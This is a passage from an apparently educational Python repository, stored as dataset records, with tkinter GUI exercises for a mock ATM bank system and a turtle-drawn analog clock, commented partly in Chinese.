bg=\"yellow\").pack(side=tkinter.TOP)\r\n# # tkinter.Label(frm_r, text=\"右下\", bg=\"green\").pack(side=tkinter.TOP)\r\n# frm_r.pack(side=tkinter.RIGHT)\r\n#\r\n# # 表格\r\n# tree = ttk.Treeview(frm_l)\r\n# # 定义列\r\n# tree[\"columns\"] = (\"姓名\", \"年龄\", \"身高\", \"体重\")\r\n# # 设置列\r\n# tree.column(\"姓名\", width=100)\r\n# tree.column(\"年龄\", width=100)\r\n# tree.column(\"身高\", width=100)\r\n# tree.column(\"体重\", width=100)\r\n#\r\n# tree.heading(\"姓名\", text=\"名字-name\")\r\n# tree.heading(\"年龄\", text=\"年龄-age\")\r\n# tree.heading(\"身高\", text=\"身高-height\")\r\n# tree.heading(\"体重\", text=\"体重-weight\")\r\n#\r\n# # 添加数据\r\n# tree.insert(\"\", 0, text=\"line1\", values=(\"1\", \"2\", \"3\", \"4\"))\r\n# tree.insert(\"\", 1, text=\"line2\", values=(\"5\", \"6\", \"7\", \"8\"))\r\n#\r\n# tree.pack()\r\n#\r\n# tree1 = ttk.Treeview(frm_r)\r\n# tree1.pack()\r\n#\r\n# # 添加一级树枝\r\n# treeF1 = tree1.insert(\"\", 0, \"中国\", text=\"中国CHI\", values=(\"F1\"))\r\n# treeF2 = tree1.insert(\"\", 1, \"美国\", text=\"美国USA\", values=(\"F1\"))\r\n# treeF3 = tree1.insert(\"\", 2, \"英国\", text=\"英国ENG\", values=(\"F1\"))\r\n#\r\n# # 添加二级树枝\r\n# treeF1_1 = tree1.insert(treeF1, 0, \"黑龙江\", text=\"中国-黑龙江\", values=(\"F1_1\"))\r\n# treeF1_2 = tree1.insert(treeF1, 1, \"吉林\", text=\"中国-吉林\", values=(\"F1_2\"))\r\n# treeF1_3 = tree1.insert(treeF1, 2, \"辽宁\", text=\"中国-辽宁\", values=(\"F1_3\"))\r\n#\r\n# treeF2_1 = tree1.insert(treeF2, 0, \"德克萨斯州\", text=\"美国-德克萨斯州\", values=(\"F2_1\"))\r\n# treeF2_2 = tree1.insert(treeF2, 1, \"底特律\", text=\"美国-底特律\", values=(\"F2_2\"))\r\n# treeF2_3 = tree1.insert(treeF2, 2, \"旧金山\", text=\"美国-旧金山\", values=(\"F2_3\"))\r\n#\r\n# # 三级树枝\r\n# treeF1_1_1 = tree1.insert(treeF1_1, 0, \"1\", text=\"美国-德克萨斯州\", values=(\"F1_1_1\"))\r\n# treeF1_1_2 = tree1.insert(treeF1_1, 1, \"2\", text=\"美国-底特律\", values=(\"F1_1_2\"))\r\n# treeF1_1_3 = tree1.insert(treeF1_1, 2, \"3\", text=\"美国-旧金山\", values=(\"F1_1_3\"))\r\n\r\n# label1 = tkinter.Label(win, text=\"good\", bg=\"blue\")\r\n# label2 = tkinter.Label(win, text=\"nice\", bg=\"red\")\r\n# label3 = tkinter.Label(win, text=\"cool\", bg=\"pink\")\r\n# label4 = tkinter.Label(win, text=\"handsome\", bg=\"yellow\")\r\n\r\n# 绝对布局 宽口的变化对位置没影响\r\n# label1.place(x=10, y=10)\r\n# label2.place(x=50, y=50)\r\n# label3.place(x=100, y=100)\r\n# 相对布局 窗体改变对控件有影响\r\n# tkinter.BOTH\r\n# label1.pack(fill=tkinter.BOTH, side=tkinter.LEFT)\r\n# label2.pack(fill=tkinter.X, side=tkinter.TOP)\r\n# label3.pack(fill=tkinter.Y, side=tkinter.BOTH)\r\n\r\n# 表格布局\r\n# label1.grid(row=0, column=0)\r\n# label2.grid(row=0, column=1)\r\n# label3.grid(row=1, column=0)\r\n# label4.grid(row=1, column=1)\r\n\r\n# 鼠标点击事件\r\n\"\"\"\r\nBi-Motion 当鼠标左键按住小构件且移动鼠标时发生\r\nButton-i Button-1、Button-2、Button-3表明左键、中键、右键,当在小构\r\n 件上单击鼠标左键时,Tkinter会自动抓取鼠标左键时的指针位置,\r\n ButtonPressed-i是Button_i的代名词\r\nButtonPressed-i 当释放鼠标左键时发生\r\nDouble-Button-i 当双击鼠标时事件发生\r\nEnter 当鼠标光标进入小构件时事件发生\r\nKey 当单机一个键时发生\r\nLeave 当鼠标光标离开小构件时事件发生\r\nReturn 当单机“Enter”键时事件发生,可以将键盘上的任意键\r\n (像“A”,“B”,“Up”,“Down”,“Left”,“Right”)和一个事件绑定\r\nShift-A 当单机“Shift+A”键时事件发生,可以将Alt、Shift和Control和其他键组合\r\nTriple-Button-i 当三次单击鼠标左键时事件发生\r\n\"\"\"\r\n\r\n\r\ndef func(event):\r\n \"\"\"\r\n\r\n :param event:\r\n :return:\r\n \"\"\"\r\n print(event)\r\n\r\n\r\nwin.bind(\"<Key>\", func)\r\n\r\nbutton1 = tkinter.Button(win, text=\"leftmouse button\")\r\nbutton1.bind(\"<Button-1>\", func)\r\nbutton1.pack()\r\n\r\nlabel1 = tkinter.Label(win, text=\"leftmouse button\")\r\nlabel1.bind(\"<Button-3>\", func)\r\nlabel1.pack()\r\n\r\nwin.mainloop() # 这一步是保存窗口开启的状态,消息循环\r\n" }, { "alpha_fraction": 0.4223979711532593, "alphanum_fraction": 0.4958339333534241, "avg_line_length": 36.2864875793457, "blob_id": "7ff505cf520d0f2ac57108766be6563c2e7388b4", "content_id": "a379b2cac3ec537c7eafa18111bfe28a65708c2c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7305, "license_type": "permissive", "max_line_length": 134, "num_lines": 185, "path": "/py-basis/各组银行系统带界面/第七组/atminitview.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "from tkinter import *\r\nfrom PIL import Image ,ImageTk\r\n\r\nclass View(object):\r\n # 欢迎界面\r\n def welcome(self):\r\n root = Tk()\r\n root.title(\"银行系统\")\r\n root.geometry(\"1000x600+150+70\")\r\n def a():\r\n root.destroy()\r\n bt1 = Button(root, text='欢迎使用银行自助服务系统', bg=\"gainsboro\", fg=\"red\", font=(\"Arial\", 25), width=80, height=20, command=a)\r\n bt1.pack()\r\n root.mainloop()\r\n # 管理员界面\r\n def adminview(self):\r\n win = Tk()\r\n win.title(\"管理员界面\")\r\n win.geometry(\"1000x600+150+70\")\r\n def func():\r\n win.destroy()\r\n global ve\r\n ve = \"11\"\r\n def func1():\r\n win.destroy()\r\n global ve\r\n ve = \"22\"\r\n def func3():\r\n win.destroy()\r\n global ve\r\n ve = \"33\"\r\n def func4():\r\n win.destroy()\r\n global ve\r\n ve = \"44\"\r\n text1 = Label(win, text=\"管理员界面\", fg=\"black\", font=(\"粗体\",30), anchor=S, width=12, height=1, wraplength = 200, justify=\"left\")\r\n text1.place(x= 350 , y = 100)\r\n button1 = Button(win, text=\"登陆\", bg='#657485', fg=\"red\", font=(\"Arial\", 20), width=20, height=3, command=func)\r\n button1.place(x=0,y=180)\r\n button2 = Button(win, text=\"退出\", bg='#584756', fg=\"red\", font=(\"Arial\", 20), width=20, height=3, command=func1)\r\n button2.place(x=0,y=300)\r\n button3 = Button(win, text=\"提额\", bg='#475586', fg=\"red\", font=(\"Arial\", 20), width=20, height=3, command=func3)\r\n button3.place(x=700,y=180)\r\n button4 = Button(win, text=\"改密\", bg='#685574', fg=\"red\", font=(\"Arial\", 20), width=20, height=3, command=func4)\r\n button4.place(x=700,y=300)\r\n\r\n\r\n bm = PhotoImage(file= 'bg.png')\r\n label2 = Label(image=bm)\r\n label2.place(x =343,y=170)\r\n\r\n win.mainloop()\r\n return ve\r\n # 用户界面\r\n def userview(self):\r\n win = Tk()\r\n win.title(\"管理员界面\")\r\n win.geometry(\"1000x600+150+70\")\r\n def func():\r\n win.destroy()\r\n global ve\r\n ve = \"111\"\r\n def func1():\r\n win.destroy()\r\n global ve\r\n ve = \"222\"\r\n def func3():\r\n win.destroy()\r\n global ve\r\n ve = \"333\"\r\n def func4():\r\n win.destroy()\r\n global ve\r\n ve = \"444\"\r\n text1 = Label(win, text=\"用户界面\", fg=\"black\", font=(\"粗体\", 30), anchor=S, width=12, height=1, wraplength=200,\r\n justify=\"left\")\r\n text1.place(x=350, y=100)\r\n button1 = Button(win, text=\"插卡\", bg='#657485', fg=\"red\", font=(\"Arial\", 20), width=20, height=2, command=func)\r\n button1.place(x=0,y=180)\r\n button2 = Button(win, text=\"注册\", bg='#584756', fg=\"red\", font=(\"Arial\", 20), width=20, height=2, command=func1)\r\n button2.place(x=0,y=300)\r\n button3 = Button(win, text=\"补卡\", bg='#475586', fg=\"red\", font=(\"Arial\", 20), width=20, height=2, command=func3)\r\n button3.place(x=700,y=180)\r\n button4 = Button(win, text=\"返回\", bg='#685574', fg=\"red\", font=(\"Arial\", 20), width=20, height=2, command=func4)\r\n button4.place(x=700,y=300)\r\n bm = PhotoImage(file= 'bg.png')\r\n label2 = Label(image=bm)\r\n label2.place(x =343,y=170)\r\n win.mainloop()\r\n return ve\r\n #操作界面\r\n def optionsView(self):\r\n win = Tk()\r\n win.title(\"管理员界面\")\r\n win.geometry(\"1000x600+150+70\")\r\n def func():\r\n win.destroy()\r\n global ve\r\n ve = \"1\"\r\n def func1():\r\n win.destroy()\r\n global ve\r\n ve = \"2\"\r\n def func3():\r\n win.destroy()\r\n global ve\r\n ve = \"3\"\r\n def func4():\r\n win.destroy()\r\n global ve\r\n ve = \"4\"\r\n def func5():\r\n win.destroy()\r\n global ve\r\n ve = \"5\"\r\n def func6():\r\n win.destroy()\r\n global ve\r\n ve = \"6\"\r\n def func7():\r\n win.destroy()\r\n global ve\r\n ve = \"7\"\r\n def func8():\r\n win.destroy()\r\n global ve\r\n ve = \"8\"\r\n def func9():\r\n win.destroy()\r\n global ve\r\n ve = \"9\"\r\n text1 = Label(win, text=\"欢迎使用\", fg=\"black\", font=(\"粗体\", 30), anchor=S, width=12, height=1, wraplength=200,\r\n justify=\"left\")\r\n text1.place(x=350, y=100)\r\n button1 = Button(win, text=\"查余额\", bg='#657485', fg=\"#000\", font=(\"Arial\", 15), width=20, height=2, command=func)\r\n button1.pack(anchor=NE)\r\n button2 = Button(win, text=\"转账\", bg='#985541', fg=\"#000\", font=(\"Arial\", 15), width=20, height=2, command=func1)\r\n button2.pack(anchor=SW)\r\n button3 = Button(win, text=\"存款\", bg='#145589', fg=\"#000\", font=(\"Arial\", 15), width=20, height=2, command=func3)\r\n button3.pack(anchor=E)\r\n button4 = Button(win, text=\"取款\", bg='#684513', fg=\"#000\", font=(\"Arial\", 15), width=20, height=2, command=func4)\r\n button4.pack(anchor=W)\r\n button5 = Button(win, text=\"改密\", bg='#315486', fg=\"#000\", font=(\"Arial\", 15), width=20, height=2, command=func5)\r\n button5.pack(anchor=NE)\r\n button6 = Button(win, text=\"注销\", bg='#31548a', fg=\"#000\", font=(\"Arial\", 15), width=20, height=2, command=func6)\r\n button6.pack(anchor=NW)\r\n button7 = Button(win, text=\"锁定\", bg='#a84513', fg=\"#000\", font=(\"Arial\", 15), width=20, height=2, command=func7)\r\n button7.pack(anchor=SE)\r\n button8 = Button(win, text=\"解锁\", bg='#35a512', fg=\"#000\", font=(\"Arial\", 15), width=20, height=2, command=func8)\r\n button8.pack(anchor=SW)\r\n button9 = Button(win, text=\"退卡\", bg='#521521', fg=\"#000\", font=(\"Arial\", 15), width=30, height=2, command=func9)\r\n button9.pack(side=BOTTOM)\r\n bm = PhotoImage(file= 'bg.png')\r\n label2 = Label(image=bm)\r\n label2.place(x =343,y=170)\r\n win.mainloop()\r\n return ve\r\n # 输出\r\n def error(self, ename):\r\n root = Tk()\r\n root.title(\"提示\")\r\n root.geometry(\"1000x600+150+70\")\r\n a = Label(root, text=\"%s\" % ename, bg=\"skyBlue\", font=(\"Arial\", 20), fg=\"black\", width=80, height=16)\r\n a.pack()\r\n def func():\r\n root.destroy()\r\n bt1 = Button(root, text=\"确定\", bg=\"#657258\", width=20, height=3, command=func)\r\n bt1.pack(anchor=SE)\r\n root.mainloop()\r\n # 输入\r\n def cardid(self, title):\r\n win = Tk()\r\n win.title(title)\r\n win.geometry(\"1000x600+150+70\")\r\n def func():\r\n win.destroy()\r\n ve = Variable()\r\n e = Entry(win, textvariable=ve)\r\n button = Button(win, text=\"确定\", command=func)\r\n button.pack(side=BOTTOM)\r\n e.pack(side=BOTTOM)\r\n a = Label(win, text=title, bg='skyBlue', font=(\"Arial\", 20), fg=\"black\", width=70, height=16, wraplength=800, justify='left')\r\n a.pack()\r\n win.mainloop()\r\n return ve.get()" }, { "alpha_fraction": 0.5423728823661804, "alphanum_fraction": 0.5508474707603455, "avg_line_length": 12.25, "blob_id": "4a4b534a50547ac67c683ef200250d113bf5a835", "content_id": "07c1a82ef40715cf25c0270dd16f6089f20a5742", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 118, "license_type": "permissive", "max_line_length": 24, "num_lines": 8, "path": "/py-basis/各组银行系统带界面/第二组/ATM/__init__.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\r\n# -*- coding:utf-8 -*-\r\n\r\n\"\"\"\r\nprogram name :\r\nlast modification time :\r\nchangelog :\r\n\"\"\"\r\n\r\n\r\n" }, { "alpha_fraction": 0.5164319276809692, "alphanum_fraction": 0.5499217510223389, "avg_line_length": 21.507041931152344, "blob_id": "7d1d9d9c1f9b29d88034ad5569f1c1d127a60dc6", "content_id": "cbd9373aba0ff262e790617c0e7148c63d24c741", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3623, "license_type": "permissive", "max_line_length": 86, "num_lines": 142, "path": "/py-basis/turtle模拟时钟.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\n@content : 填写本模块功能大致描述\n@Time : 2018/8/2 下午9:50\n@Author : 北冥神君\n@File : 时钟.py\n@Software: PyCharm\n\"\"\"\n\n\nimport turtle\nfrom datetime import *\n\n\n# 抬起画笔,向前运动一段距离放下\ndef Skip(step):\n turtle.penup()\n turtle.forward(step)\n turtle.pendown()\n\n\ndef mkHand(name, length):\n # 注册Turtle形状,建立表针Turtle\n turtle.reset()\n Skip(-length * 0.1)\n # 开始记录多边形的顶点。当前的乌龟位置是多边形的第一个顶点。\n turtle.begin_poly()\n turtle.forward(length * 1.1)\n # 停止记录多边形的顶点。当前的乌龟位置是多边形的最后一个顶点。将与第一个顶点相连。\n turtle.end_poly()\n # 返回最后记录的多边形。\n handForm = turtle.get_poly()\n turtle.register_shape(name, handForm)\n\n\ndef Init():\n global secHand, minHand, hurHand, printer\n # 重置Turtle指向北\n turtle.mode(\"logo\")\n # 建立三个表针Turtle并初始化\n mkHand(\"secHand\", 135)\n mkHand(\"minHand\", 125)\n mkHand(\"hurHand\", 90)\n secHand = turtle.Turtle()\n secHand.shape(\"secHand\")\n minHand = turtle.Turtle()\n minHand.shape(\"minHand\")\n hurHand = turtle.Turtle()\n hurHand.shape(\"hurHand\")\n\n for hand in secHand, minHand, hurHand:\n hand.shapesize(1, 1, 3)\n hand.speed(0)\n\n # 建立输出文字Turtle\n printer = turtle.Turtle()\n # 隐藏画笔的turtle形状\n printer.hideturtle()\n printer.penup()\n\n\ndef SetupClock(radius):\n # 建立表的外框\n turtle.reset()\n turtle.pensize(7)\n for i in range(60):\n Skip(radius)\n if i % 5 == 0:\n turtle.forward(20)\n Skip(-radius - 20)\n\n Skip(radius + 20)\n if i == 0:\n turtle.write(int(12), align=\"center\", font=(\"Courier\", 14, \"bold\"))\n elif i == 30:\n Skip(25)\n turtle.write(int(i / 5), align=\"center\", font=(\"Courier\", 14, \"bold\"))\n Skip(-25)\n elif (i == 25 or i == 35):\n Skip(20)\n turtle.write(int(i / 5), align=\"center\", font=(\"Courier\", 14, \"bold\"))\n Skip(-20)\n else:\n turtle.write(int(i / 5), align=\"center\", font=(\"Courier\", 14, \"bold\"))\n Skip(-radius - 20)\n else:\n turtle.dot(5)\n Skip(-radius)\n turtle.right(6)\n\n\ndef Week(t):\n week = [\"星期一\", \"星期二\", \"星期三\",\n \"星期四\", \"星期五\", \"星期六\", \"星期日\"]\n return week[t.weekday()]\n\n\ndef Date(t):\n y = t.year\n m = t.month\n d = t.day\n return \"%s年 0%d月0%d日\" % (y, m, d)\n\n\ndef Tick():\n # 绘制表针的动态显示\n t = datetime.today()\n second = t.second + t.microsecond * 0.000001\n minute = t.minute + second / 60.0\n hour = t.hour + minute / 60.0\n secHand.setheading(6 * second)\n minHand.setheading(6 * minute)\n hurHand.setheading(30 * hour)\n\n turtle.tracer(False)\n printer.forward(65)\n printer.write(Week(t), align=\"center\",\n font=(\"Courier\", 14, \"bold\"))\n printer.back(130)\n printer.write(Date(t), align=\"center\",\n font=(\"Courier\", 14, \"bold\"))\n printer.home()\n turtle.tracer(True)\n\n # 100ms后继续调用tick\n turtle.ontimer(Tick, 100)\n\n\ndef main():\n # 打开/关闭龟动画,并为更新图纸设置延迟。\n turtle.tracer(False)\n Init()\n SetupClock(160)\n turtle.tracer(True)\n Tick()\n turtle.mainloop()\n\n\nif __name__ == \"__main__\":\n main()" }, { "alpha_fraction": 0.4244561791419983, "alphanum_fraction": 0.4697731137275696, "avg_line_length": 41.008052825927734, "blob_id": "fc0080e3b1a21a5fce34cdb3bbfbe8b2bd62a8f2", "content_id": "5d526bfbd8357ad0091ed736930cf6dc6c4eb4bd", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 33967, "license_type": "permissive", "max_line_length": 139, "num_lines": 745, "path": "/py-basis/各组银行系统带界面/第二组/ATM/interface.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\r\n# -*- coding:utf-8 -*-\r\nimport tkinter\r\nimport tkinter.messagebox\r\nfrom tkinter import ttk\r\nimport time\r\nfrom PIL import Image, ImageTk\r\n\"\"\"\r\n界面\r\n类名:View\r\n属性:\r\n行为:管理员界面 管理员登陆 系统功能界面\r\nopen_count\r\ncheck_deposit\r\nwithdrawal\r\ndeposit\r\ntransfer_accounts\r\nchange_password\r\nfreeze_card\r\nunfreeze_card\r\ncard_reissue\r\naccount_cancellation\r\nrefund_card\r\n\"\"\"\r\n\r\n\r\nclass TerminalGui(object):\r\n pass\r\n\r\n\r\nclass ATMGui(object):\r\n widget_list = []\r\n color_name = []\r\n color_dict = {\"浅粉红\": \"#FFB6C1\", \"粉红\": \"#FFC0CB\", \"猩红\": \"#DC143C\", \"淡紫红\": \"#FFF0F5\",\r\n \"弱紫罗兰红\": \"#DB7093\", \"热情的粉红\": \"#FF69B4\", \"深粉红\": \"#FF1493\", \"中紫罗兰红\": \"#C71585\",\r\n \"兰花紫\": \"#DA70D6\", \"蓟色\": \"#D8BFD8\", \"洋李色紫\": \"#DDA0DD\", \"紫罗兰\": \"#EE82EE\",\r\n \"洋红/玫瑰红\": \"#FF00FF\", \"灯笼海棠\": \"#FF00FF\", \"深洋红\": \"#8B008B\", \"紫色\": \"#800080\",\r\n \"暗紫罗兰\": \"#9400D3\", \"暗兰花紫\": \"#9932CC\", \"靛青\": \"#4B0082\",\r\n \"蓝紫罗兰\": \"#8A2BE2\", \"中紫色\": \"#9370DB\", \"中暗蓝色\": \"#7B68EE\", \"石蓝色\": \"#6A5ACD\",\r\n \"暗板岩蓝\": \"#483D8B\", \"熏衣草淡紫\": \"#E6E6FA\", \"幽灵白\": \"#F8F8FF\", \"纯蓝\": \"#0000FF\",\r\n \"中蓝色\": \"#0000CD\", \"午夜蓝\": \"#191970\", \"暗蓝色\": \"#00008B\", \"海军蓝\": \"#000080\",\r\n \"皇家蓝\": \"#4169E1\", \"矢车菊蓝\": \"#6495ED\", \"亮钢蓝\": \"#B0C4DE\", \"亮蓝灰\": \"#778899\",\r\n \"灰石色\": \"#708090\", \"闪兰色\": \"#1E90FF\", \"爱丽丝蓝\": \"#F0F8FF\", \"钢蓝\": \"#4682B4\", \"亮天蓝色\": \"#87CEFA\",\r\n \"天蓝色\": \"#87CEEB\", \"深天蓝\": \"#00BFFF\", \"亮蓝\": \"#ADD8E6\", \"火药青\": \"#B0E0E6\", \"军兰色\": \"#5F9EA0\",\r\n \"蔚蓝色\": \"#F0FFFF\", \"淡青色\": \"#E0FFFF\", \"弱绿宝石\": \"#AFEEEE\", \"青色\": \"#00FFFF\", \"浅绿色\": \"#00FFFF\",\r\n \"暗绿宝石\": \"#00CED1\", \"暗瓦灰色\": \"#2F4F4F\", \"暗青色\": \"#008B8B\", \"水鸭色\": \"#008080\", \"中绿宝石\": \"#48D1CC\",\r\n \"浅海洋绿\": \"#20B2AA\", \"绿宝石\": \"#40E0D0\", \"宝石碧绿\": \"#7FFFD4\", \"中宝石碧绿\": \"#66CDAA\", \"中春绿色\": \"#00FA9A\",\r\n \"薄荷奶油\": \"#F5FFFA\", \"春绿色\": \"#00FF7F\", \"中海洋绿\": \"#3CB371\", \"海洋绿\": \"#2E8B57\", \"蜜色\": \"#F0FFF0\",\r\n \"淡绿色\": \"#90EE90\", \"弱绿色\": \"#98FB98\", \"暗海洋绿\": \"#8FBC8F\", \"闪光深绿\": \"#32CD32\", \"闪光绿\": \"#00FF00\",\r\n \"森林绿\": \"#228B22\", \"纯绿\": \"#008000\", \"暗绿色\": \"#006400\", \"查特酒绿\": \"#7FFF00\", \"草坪绿\": \"#7CFC00\",\r\n \"绿黄色\": \"#ADFF2F\", \"暗橄榄绿\": \"#556B2F\", \"黄绿色\": \"#9ACD32\", \"橄榄褐色\": \"#6B8E23\", \"米色\": \"#F5F5DC\",\r\n \"亮菊黄\": \"#FAFAD2\", \"象牙色\": \"#FFFFF0\", \"浅黄色\": \"#FFFFE0\", \"纯黄\": \"#FFFF00\", \"橄榄\": \"#808000\",\r\n \"深卡叽布\": \"#BDB76B\", \"柠檬绸\": \"#FFFACD\", \"苍麒麟色\": \"#EEE8AA\", \"卡叽布\": \"#F0E68C\", \"金色\": \"#FFD700\",\r\n \"玉米丝色\": \"#FFF8DC\", \"金菊黄\": \"#DAA520\", \"暗金菊黄\": \"#B8860B\", \"花的白色\": \"#FFFAF0\", \"旧蕾丝\": \"#FDF5E6\",\r\n \"小麦色\": \"#F5DEB3\", \"鹿皮色\": \"#FFE4B5\", \"橙色\": \"#FFA500\", \"番木瓜\": \"#FFEFD5\", \"白杏色\": \"#FFEBCD\",\r\n \"纳瓦白\": \"#FFDEAD\", \"古董白\": \"#FAEBD7\", \"茶色\": \"#D2B48C\", \"硬木色\": \"#DEB887\", \"陶坯黄\": \"#FFE4C4\",\r\n \"深橙色\": \"#FF8C00\", \"亚麻布\": \"#FAF0E6\", \"秘鲁色\": \"#CD853F\", \"桃肉色\": \"#FFDAB9\", \"沙棕色\": \"#F4A460\",\r\n \"巧克力色\": \"#D2691E\", \"重褐色\": \"#8B4513\", \"海贝壳\": \"#FFF5EE\", \"黄土赭色\": \"#A0522D\", \"浅鲑鱼肉色\": \"#FFA07A\",\r\n \"珊瑚\": \"#FF7F50\", \"橙红色\": \"#FF4500\", \"深鲜肉\": \"#E9967A\", \"番茄红\": \"#FF6347\", \"浅玫瑰色\": \"#FFE4E1\",\r\n \"鲑鱼色\": \"#FA8072\", \"雪白色\": \"#FFFAFA\", \"淡珊瑚色\": \"#F08080\", \"玫瑰棕色\": \"#BC8F8F\", \"印度红\": \"#CD5C5C\",\r\n \"纯红\": \"#FF0000\", \"棕色\": \"#A52A2A\", \"火砖色\": \"#B22222\", \"深红色\": \"#8B0000\", \"栗色\": \"#800000\", \"纯白\": \"#FFFFFF\",\r\n \"白烟\": \"#F5F5F5\", \"淡灰色\": \"#DCDCDC\", \"浅灰色\": \"#D3D3D3\", \"银灰色\": \"#C0C0C0\", \"深灰色\": \"#A9A9A9\",\r\n \"灰色\": \"#808080\", \"暗淡灰\": \"#696969\", \"纯黑\": \"#000000\"}\r\n for name in color_dict.keys():\r\n color_name.append(name)\r\n\r\n def __init__(self, fnc_open_count,\r\n fnc_withdrawal,\r\n fnc_deposit,\r\n fnc_transfer_accounts,\r\n fnc_change_password,\r\n fnc_freeze_card,\r\n fnc_unfreeze_card,\r\n fnc_card_reissue,\r\n fnc_account_cancellation,\r\n fnc_refund_card,\r\n fnc_read_cord,\r\n fnc_login):\r\n self.fnc_open_count = fnc_open_count\r\n self.fnc_withdrawal = fnc_withdrawal\r\n self.fnc_deposit = fnc_deposit\r\n self.fnc_transfer_accounts = fnc_transfer_accounts\r\n self.fnc_change_password = fnc_change_password\r\n self.fnc_freeze_card = fnc_freeze_card\r\n self.fnc_unfreeze_card = fnc_unfreeze_card\r\n self.fnc_card_reissue = fnc_card_reissue\r\n self.fnc_account_cancellation = fnc_account_cancellation\r\n self.fnc_refund_card = fnc_refund_card\r\n self.fnc_read_cord = fnc_read_cord\r\n self.fnc_login = fnc_login\r\n self.font_color = \"#DEB887\"\r\n self.background_color = \"#696969\"\r\n # self.screen_col = self.background_color\r\n\r\n self.main_window = tkinter.Tk()\r\n self.main_window.title(\"ATM终端\")\r\n self.main_window.geometry(\"940x700+500+200\")\r\n\r\n self.screen_t = tkinter.StringVar()\r\n self.bt_l1_t = tkinter.StringVar()\r\n\r\n self.bt_l2_t = tkinter.StringVar()\r\n self.bt_l3_t = tkinter.StringVar()\r\n self.bt_l4_t = tkinter.StringVar()\r\n self.bt_r1_t = tkinter.StringVar()\r\n self.bt_r2_t = tkinter.StringVar()\r\n self.bt_r3_t = tkinter.StringVar()\r\n self.bt_r4_t = tkinter.StringVar()\r\n self.bt_b1_t = tkinter.StringVar()\r\n\r\n frm = tkinter.Frame(self.main_window, bg=\"silver\")\r\n frm.pack()\r\n\r\n self.screen_b = tkinter.Frame(frm, bg=\"silver\", height=100, width=1000)\r\n self.screen_b.pack(side=tkinter.BOTTOM, fill=tkinter.X)\r\n frm_l = tkinter.Frame(frm, bg=\"silver\", height=500, width=150)\r\n frm_l.pack(side=tkinter.LEFT, fill=tkinter.Y)\r\n frm_r = tkinter.Frame(frm, bg=\"silver\", height=500, width=150)\r\n frm_r.pack(side=tkinter.RIGHT, fill=tkinter.Y)\r\n frm_bg = tkinter.Frame(frm, bg=\"black\", height=600, width=700)\r\n frm_bg.pack(side=tkinter.TOP, pady=10)\r\n\r\n # image = Image.open(\"screen_m_bg.jpg\")\r\n # im = ImageTk.PhotoImage(image)\r\n # frm_m = tkinter.Frame(frm_bg, bg=\"green\", height=580, width=680)\r\n # frm_m.pack(padx=10, pady=10)\r\n\r\n # image = Image.open(r\"image\\bg1.jpg\") # screen_m_bg.jpg img.gif\r\n # bg1 = ImageTk.PhotoImage(image)\r\n # self.screen_m = tkinter.Canvas(frm_m, height=580, width=680, bg='cyan')\r\n # self.screen_m.create_image((0, 0), image=bg1) # 1440, 1280 1024, 768\r\n # self.screen_m.place(x=-2, y=-2)\r\n self.screen_m = tkinter.Frame(frm_bg, bg=self.background_color, height=580, width=680) # , image=im\r\n self.screen_m.pack(padx=10, pady=10) # self.screen_col\r\n\r\n # image = Image.open(r\"image\\button1.png\") # screen_m_bg.jpg img.gif\r\n # button1 = ImageTk.PhotoImage(image)\r\n # button1 = tkinter.PhotoImage(file=r\"image\\img.gif\")\r\n self.bt_l1 = tkinter.Button(frm_l, textvariable=self.bt_l1_t, width=10, height=2) # , image=button1\r\n self.bt_l1.pack(padx=20, pady=40)\r\n self.bt_l2 = tkinter.Button(frm_l, textvariable=self.bt_l2_t, width=10, height=2)\r\n self.bt_l2.pack(padx=20, pady=40)\r\n self.bt_l3 = tkinter.Button(frm_l, textvariable=self.bt_l3_t, width=10, height=2)\r\n self.bt_l3.pack(padx=20, pady=40)\r\n self.bt_l4 = tkinter.Button(frm_l, textvariable=self.bt_l4_t, width=10, height=2)\r\n self.bt_l4.pack(padx=20, pady=40)\r\n\r\n self.bt_r1 = tkinter.Button(frm_r, textvariable=self.bt_r1_t, width=10, height=2)\r\n self.bt_r1.pack(padx=20, pady=40)\r\n self.bt_r2 = tkinter.Button(frm_r, textvariable=self.bt_r2_t, width=10, height=2)\r\n self.bt_r2.pack(padx=20, pady=40)\r\n self.bt_r3 = tkinter.Button(frm_r, textvariable=self.bt_r3_t, width=10, height=2)\r\n self.bt_r3.pack(padx=20, pady=40)\r\n self.bt_r4 = tkinter.Button(frm_r, textvariable=self.bt_r4_t, width=10, height=2)\r\n self.bt_r4.pack(padx=20, pady=40)\r\n\r\n self.bt_b1 = tkinter.Button(self.screen_b, textvariable=self.bt_b1_t, width=20, height=2) #\r\n self.bt_b1.pack(side=tkinter.RIGHT, padx=20, pady=20)\r\n self.page_home()\r\n\r\n def set_fnc(self, bt, fnc):\r\n if bt is \"l1\":\r\n self.bt_l1.bind(\"<Button-1>\", fnc)\r\n elif bt is \"l2\":\r\n self.bt_l2.bind(\"<Button-1>\", fnc)\r\n elif bt is \"l3\":\r\n self.bt_l3.bind(\"<Button-1>\", fnc)\r\n elif bt is \"l4\":\r\n self.bt_l4.bind(\"<Button-1>\", fnc)\r\n elif bt is \"r1\":\r\n self.bt_r1.bind(\"<Button-1>\", fnc)\r\n elif bt is \"r2\":\r\n self.bt_r2.bind(\"<Button-1>\", fnc)\r\n elif bt is \"r3\":\r\n self.bt_r3.bind(\"<Button-1>\", fnc)\r\n elif bt is \"r4\":\r\n self.bt_r4.bind(\"<Button-1>\", fnc)\r\n else:\r\n self.bt_b1.bind(\"<Button-1>\", fnc)\r\n\r\n @staticmethod\r\n def message_box(title: str, info: str):\r\n tkinter.messagebox.showinfo(title, info)\r\n\r\n def clear_page(self):\r\n for w in self.widget_list:\r\n w.destroy()\r\n self.widget_list = []\r\n self.bt_l1.unbind_all(\"<Button-1>\")\r\n self.bt_l1_t.set(\"\")\r\n 